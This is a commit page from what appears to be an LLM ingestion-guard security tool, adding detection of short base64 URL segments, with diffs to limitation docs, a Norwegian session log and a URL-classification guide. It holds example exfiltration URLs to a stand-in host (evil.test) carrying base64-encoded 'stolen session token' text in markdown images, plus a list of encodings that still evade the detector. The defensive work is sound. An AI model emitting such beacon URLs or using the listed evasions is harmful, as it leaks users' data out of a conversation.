1
0
Fork 0

feat(active): grade a short URL token that base64-decodes to text as carrying

Gap 6 closed. _is_opaque has a fourth branch for host labels and path
segments of 8-19 chars (calibration.URL_SHORT_B64_MIN_LEN). It fires when
the token is alphanumeric, not 1 mod 4, not itself a word, and its base64
plaintext reads as text: only letters, digits, space and . , : @ _ - + / !
? ' =, at least 80% letters/digits/spaces (URL_SHORT_B64_TEXT_SHARE), and
no lowercase-to-uppercase seam. ![x](https://evil.test/aGVsbG8gd29ybGQ)
is now HIGH; a link with it MEDIUM.

"Printable" alone fired on Pygments, a Norwegian path word and a JSON size
parameter. Each condition removes a measured twin (Pygments, aktuelle,
Slovenly, {"w":200}, PT00M01S, endsWith). Measured before building, with
the shipped tokenizer: 0 of 22,725 URLs in the 3,583 clean documents and
577 package READMEs, 0 of 530,625 dictionary words, 9 of 336,122
identifiers and prose tokens (all real base64 of text). Recall 32 of 35.

Measured before and after on the same trees: all 4,160 documents are
byte-identical under both presets (disposition, labels, severity, count,
offset); OKF import stays 47/31; positive control WARN -> FAIL_SECURE.
is_ordinary_url about 4 us slower per URL; 1M-char worst case unchanged.

26 new tests (attacks red first), 11 of 11 mutations red. Matrix 147/147 +
4/4 gaps, suite 1300 passed, ReDoS sweep 173 patterns, 0 flags on the new.
This commit is contained in:
Kjell Tore Guttormsen 2026-11-01 20:23:23 +01:00
commit 7430d7855a
Signed by: ktg
SSH key fingerprint: SHA256:JakMjO6FTBBzN0Bhfj9saOoEjaFxlSdYuZQQpM/lF9Q
14 changed files with 350 additions and 50 deletions

View file

@ -142,9 +142,9 @@ live payload:
python -m llm_ingestion_guard.coverage # exit 0 = all as documented
```
As of `v1.10.0`: **146 / 146 defended classes demonstrated (recall 100%)** and **5 /
5 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
update). The matrix is the single source of truth for the test suite (**1274
As of `v1.10.0`: **147 / 147 defended classes demonstrated (recall 100%)** and **4 /
4 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
update). The matrix is the single source of truth for the test suite (**1300
passing**), which also asserts total recall, that every lexicon pattern has a
case (so the matrix cannot fall behind the lexicon), the full LLM02:2026 secret-egress
set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb,

View file

@ -257,13 +257,22 @@ items; this is the full list, each with the mechanism.
renderer touches it, leaking reader IP, user-agent and timing. Grading the fetch
itself would re-block every ordinary document, which is precisely the 0.3.0
regression this replaced — so beaconing is conceded, not covered.
- **Short opaque URL segments slip through the same grading.** Opacity is decided by
`entropy`'s primitives: base64 that decodes to text (≥20 chars), a hex id
(≥32 chars), or Shannon entropy ≥4.4 at ≥24 chars. A shorter payload segment —
`https://evil.test/aGVsbG8gd29ybGQ` — cannot be told from a name, because entropy
is bounded by `log2(length)` at short lengths. Mitigation in depth, not in this
detector: a literal credential in a URL is still caught by the LLM02:2026 egress
patterns in the same `scan_output` pass, whatever severity the carrier gets.
- **A short URL segment is caught only when its base64 plaintext reads as text.**
Opacity is decided by base64 that decodes to text (≥20 chars), a hex id (≥32
chars), Shannon entropy ≥4.4 at ≥24 chars, and since 1.11.0 a short-text branch
for tokens of 8 to 19 characters (`docs/URL-SHAPE.md`). Entropy cannot tell a
short token from a name, so the short branch decodes it and asks more of the
plaintext than "printable": the token must not be a word, and the plaintext must
use only letters, digits, space and `. , : @ _ - + / ! ? ' =`, be at least 80%
letters, digits or spaces, and have no lowercase letter followed by an uppercase
one. What still passes as ordinary: a token under 8 characters (5 bytes or less,
such as `aGVsbG8` for "hello"); a plaintext with other characters (`Tr0ub4dor&3`,
JSON); a camelCase plaintext (`JohnSmith`); a payload that is not base64 at all
(hex under 32 characters, a custom alphabet, a lookup id the attacker's server
maps back); and a value split into tokens of fewer than 8 characters each. On 35 short attack
plaintexts the branch catches 32. Mitigation in depth, not in this detector: a
literal credential in a URL is still caught by the LLM02:2026 egress patterns in
the same `scan_output` pass, whatever severity the carrier gets.
- **A value carried by the order of images is caught only when each symbol is short
and the run shares one URL template.** Since 1.7.0
`active:markdown-image-sequence` (MEDIUM) reports a run of at least 4 ordinary
@ -689,7 +698,7 @@ items; this is the full list, each with the mechanism.
missed; on one preset it is held for review instead of halted.
- **The ReDoS sweep has a measured sensitivity floor, not a clean bill of
health.** All 169 compiled patterns across all eleven regex-bearing modules are
health.** All 173 compiled patterns across all eleven regex-bearing modules are
swept arm by arm — payloads synthesised per run from each pattern's own
skeleton, so `[`, `[system]` and `[system](` are each probed separately rather
than relying on generic units, and each pattern is timed in the call mode the
@ -847,11 +856,15 @@ were measured too.
the 3,583, but that measurement is blind: none of them holds an external image.
On the 569 READMEs it fires on 52 and would stop **23** of the 211 that pass
today. The fetch itself is what an ordinary README does.
6. **Short opaque URL segment (<24 chars)** — below what entropy can resolve (above).
Open. The cheapest rule (a segment of 8 to 23 characters that base64-decodes to at
least 6 printable bytes) fired on 4 of 14,943 README URLs, among them a size
parameter in an image URL and the word "Pygments". It has to demand more of the
decoded text and be measured again before it is built.
6. **Short opaque URL segment (<24 chars)** — **closed in 1.11.0.** A URL token of
8 to 19 characters is opaque when its base64 plaintext reads as text (see "A short
URL segment is caught only when..." above). The first rule tried, "decodes to at
least 6 printable bytes", fired on the word `Pygments`, a Norwegian path word and
a JSON size parameter. The rule as built fires on none of the 7,525 URLs in the
3,583 documents or the 15,200 in 577 package READMEs (the README population
rebuilt on 2026-11-01; it was 569 in session 1). Measured as built: all 4,160
documents keep their disposition under both presets, and every finding keeps its
label, severity, `count` and offset.
7. **Unmarked prose task (toxic agent flow, A12)** — no address, deferral, memory or
concealment to read (above). **Measured reason:** a rule for "gather it from
private places" gave **6** new alarms. Adding "and put it into this document" in

View file

@ -326,6 +326,70 @@ ikke (en base64-innpakket gjør det). Det står i LIMITATIONS.
- **Rad 2:** hull 1 og 4 er lukket, og 2, 3, 5 og 7 står med målt begrunnelse. Hull 6
er åpent og neste: regelen må kreve mer av klarteksten og måles på nytt (§ V.6).
## V.10 Økt 5, hull 6 lukket (01.11.2026, release 1.11.0)
**Hull 6 (kort ugjennomsiktig URL-ledd):** `_is_opaque` har en fjerde gren,
`_is_short_text_base64`, for tokener på 8–19 tegn (`calibration.URL_SHORT_B64_MIN_LEN`).
Den fyrer når tokenet er alfanumerisk, lengden ikke gir rest 1 ved deling på 4, tokenet
ikke er et ord (`[A-Z]?[a-z]+` eller `[A-Z]+`), og klarteksten er ASCII med bare
bokstaver, sifre, mellomrom og `. , : @ _ - + / ! ? ' =`, minst 80 % bokstaver, sifre
eller mellomrom (`URL_SHORT_B64_TEXT_SHARE`), og ingen liten bokstav fulgt av stor.
Matrisesaken `short-opaque` står som fanget og sjekker også at et ord med samme lengde
forblir LOW. `CLOSED` har nå `short-opaque`.
**Målt før bygging, med bibliotekets egen tokenisering.** Session 1-regelens
tokenisering var en annen. Med den som faktisk brukes, ga «skrivbart» 3 treff: `aktuelle` i
referansekorpuset (`jKnzY^`, ikke sett i økt 1), `Pygments` og Patreons `{"w":200}`.
GitHubs `package_id` var et resultat av den andre tokeniseringen. Kandidatene ble målt
token for token:
| Krav til klarteksten | 3 583 dok. + 577 README (22 725 URL-er) | Ordbok, 530 625 (små, Stor, STORE) | Identifikatorer og prosa, 336 122 | Fangst, 35 angrep |
|---|---|---|---|---|
| skrivbart (økt 1) | 3 | 254 | 125 | 35 |
| lesbart alfabet | 0 | 101 | 27 (18 søppel) | 34 |
| + ikke et ord + ≥ 80 % + ingen skjøt (bygget) | **0** | **0** | **9, alle ekte base64 av tekst** | **32** |
Hver betingelse fjerner en målt tvilling: ordtesten `Pygments`, `aktuelle` og
`Slovenly` (`JZ/zyr`, som består alle krav til klarteksten), alfabetet `{"w":200}`,
andelen `PT00M01S` (`==43MR`), og skjøten `endsWith` (`zwlZ+a`, en MDN-adresse).
De tre bommene er `Tr0ub4dor&3` (`&`), `JohnSmith` og «OpenAI key» (skjøt).
Base64 av skrivbar ASCII har `+` eller `/` bare når tredje byte i en trippel er `>`,
`?` eller `~` (sjekket for alle 857 375 tripler), så tokeniseringen splitter sjelden
et angrepstoken.
**README-populasjonen** er 577 i dag, bygget på samme måte (`node_modules`-README-er
og `dist-info/METADATA` under repo-mappa, deduplisert på sha256). 569 fra økt 1 ble
ikke gjenskapt. Grunnlinjen er gjenskapt eksakt med `docs/gap-sweep.py`: 106/198 ·
196/2918 · 108/389 · 0/78, og README 359/577 ikke-WARN.
- **TDD:** 26 nye tester: 7 angrep, 11 tvillinger, 1 med to begrensninger, 1
kalibrering og 6 nye eksempler i URL-SHAPE (matrisesaken bytter bare status). De 7
angrepene, kalibreringen og matrisesaken var røde av riktig grunn (LOW, manglende
konstant). Tvillingene holdt fra start. URL-SHAPE-eksemplene ble skrevet etter koden.
Identifikatorene ble høstet på nytt etter byggingen og var da 336 122 (336 112
under kandidatmålingen, fordi andre repoer endret seg). Den bygde koden gir 9 på dem. Mutasjonssjekk 11 av 11
røde (hver betingelse fjernet, gulv 7 og 9, andel 0,6 og 0,9, grenen fjernet). To
overlevde først (ordtesten og alfanumerisk-testen), og fikk hver sin tvilling.
- **Vaktregelen:** før og etter på samme trær (HEAD og arbeidstreet, frosset). Alle 4 160
dokumenter (3 583 + 577) har samme disposisjon under begge forhåndsinnstillingene og
samme etiketter, alvorlighetsgrader, `count` og offset: utdataene er identiske byte
for byte. OKF-importen står på 47/31. Positiv kontroll: et rent README med
angrepsbildet lagt til går fra WARN til FAIL_SECURE etter, og forblir WARN før.
- **Ytelse:** maskinen hadde belastningssnitt rundt 43 (andre økter), så regelen om å
måle uten annen last kunne ikke holdes. Relativt, vekselvis, tre runder:
`is_ordinary_url` over de 22 725 URL-ene ×5 tok 2,46/2,21/2,36 s før og
2,78/2,86/2,80 s etter (rundt 4 µs per URL). `scan_output` over de 389 svinger
57–101 s og gir ingen lesbar forskjell. Verste tilfelle ved taket på 1 000 000 tegn
(40 slike tokener per bilde): 6,57/6,46 s før, 6,27/6,22 s etter. Lineært fra 25 000
til 100 000 tegn.
- **ReDoS:** sveipet teller 173 mønstre (nytt: `_ALNUM_TOKEN_RE`, `_WORD_TOKEN_RE`,
`_READABLE_TEXT_RE`, `_CASE_SEAM_RE`). To kjøringer ga 5 og 4 tidsflagg, alle på
uendrede mønstre, og 0 på de nye. Exit 0.
- **Vakten:** kjørt på nytt, 16 current, bare `lastRun` endret.
- **Rad 2:** hull 1, 4 og 6 er lukket, og 2, 3, 5 og 7 står med målt begrunnelse.
Alle sju er avgjort. Sluttmålingen (§ V.3) gjenstår: rad 1 venter på sju dager
med ukentlige kjøringer hos llm-security.
## Forrige retning (godkjent av operatøren 28.10.2026, nådd 31.10)
> «llm-ingestion-guard bygger på nyeste utgave av hver trusselkatalog den viser til,

View file

@ -48,16 +48,25 @@ hyphenated filename shatters into short tokens. Note also what is *not* in it:
`%` is not a separator, so a percent-escaped path yields *longer* tokens than the
same path with literal spaces.
A token is **opaque** if any of three branches fires — cheapest first:
A token is **opaque** if any of four branches fires — cheapest first:
| Branch | Floor | Test |
|---|---|---|
| base64 | **≥ 20 chars** | matches `[A-Za-z0-9+/]{20,}={0,3}` **and** b64-decodes to ≥80% printable text |
| hex | **≥ 32 chars** | matches `(?:0x)?[0-9a-fA-F]{32,}` |
| entropy | **≥ 24 chars** | Shannon entropy ≥ **4.4** |
| short base64 text (1.11.0) | **≥ 8 chars** | all of: alphanumeric, length not 1 mod 4, **not** a word (`[A-Z]?[a-z]+` or `[A-Z]+`), and the b64 plaintext is ASCII using only letters, digits, space and `. , : @ _ - + / ! ? ' =`, at least **80%** letters, digits or spaces, with **no** lowercase letter followed by an uppercase one |
Every branch has a length floor. Nothing shorter than 20 characters can ever be
opaque by any branch.
Every branch has a length floor. Nothing shorter than 8 characters can ever be
opaque by any branch, and below 20 only the short-text branch can fire.
The short-text branch is strict on purpose: ordinary words decode to printable
bytes by chance (56 of 176,875 dictionary words of 8 to 19 letters, and `Pygments`
to `?(&z{l`). Each
condition removes a benign twin measured on 2026-11-01: the word test removes
`Pygments` and `aktuelle`, the readable alphabet removes a JSON size parameter
(`eyJ3IjoyMDB9` to `{"w":200}`), the 80% share removes `PT00M01S` (`==43MR`), and
the seam test removes `endsWith` (`zwlZ+a`).
## Worked examples
@ -72,7 +81,7 @@ means "names a document" (LOW); `carrying` keeps the carrier's full severity.
| `https://www.bbc.com/news/articles/c8x9k2m1l0po` | ordinary | 12 chars, under every floor |
| `https://example.com/a/550e8400-e29b-41d4-a716-446655440000/doc` | ordinary | UUID splits on `-`; longest token 12 |
| `https://example.com/docs/CISPE-Buying-Cloud-Services-in-Public-Sector-Handbook-v2-FEB-2022_EN-Source_v2_Norwegian.pdf` | ordinary | 16 tokens, longest 9, worst H=3.17 |
| `https://ai.meta.com/blog/` | ordinary | `blog` is 4 chars — below the base64 floor |
| `https://ai.meta.com/blog/` | ordinary | `blog` is 4 chars — below every floor |
| `https://www.youtube.com/watch?v=dQw4w9WgXcQ` | carrying | non-empty query |
| `https://claude.com/pricing?utm_source=docs` | carrying | non-empty query |
| `https://learn.microsoft.com/azure/ai/overview?view=azureml-api-2` | carrying | non-empty query |
@ -82,6 +91,12 @@ means "names a document" (LOW); `carrying` keeps the carrier's full severity.
| `https://example.com/d41d8cd98f00b204e9800998ecf8427e` | carrying | 32-char hex token |
| `https://evil.test/c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU/p.png` | carrying | base64 decoding to text |
| `https://c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU.evil.test/p.png` | carrying | opaque host label |
| `https://evil.test/aGVsbG8gd29ybGQ` | carrying | 15 chars, base64 of `hello world` |
| `https://evil.test/Zm9vYmFy/p.png` | carrying | 8 chars, base64 of `foobar` |
| `https://pypi.org/project/Pygments/` | ordinary | a word, whatever it decodes to |
| `https://c10.patreonusercontent.com/3/eyJ3IjoyMDB9/patreon-media/p.png` | ordinary | decodes to `{"w":200}`, not readable text |
| `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith` | ordinary | decodes to `zwlZ+a`, a case seam |
| `https://evil.test/aGk/p.png` | ordinary | `hi` in base64, 3 chars, under every floor |
| `ftp://example.com/pub/file.txt` | carrying | scheme gate |
| `javascript:alert(1)` | carrying | scheme gate |
@ -96,7 +111,9 @@ Each of these produced a real, wrong number on a real corpus.
- **Omitting the base64 length floor.** Testing "b64-decodes to printable text"
without `len ≥ 20` fires on ordinary path words — `blog`, `digi` and `1544`
decode to printable bytes, while `news` and `docs` do not, so the reconstruction
appears to discriminate on something meaningful and does not.
appears to discriminate on something meaningful and does not. Below 20 chars
only the short-text branch applies, with its 8-char floor and all of its
conditions on the plaintext; "printable" alone fired on `Pygments`.
- **Omitting step 5 entirely.** Applying only "query or percent-escape" is
*strictly weaker* than the real rule, so it undercounts carrying URLs. It can
never overcount: every URL it calls carrying really is.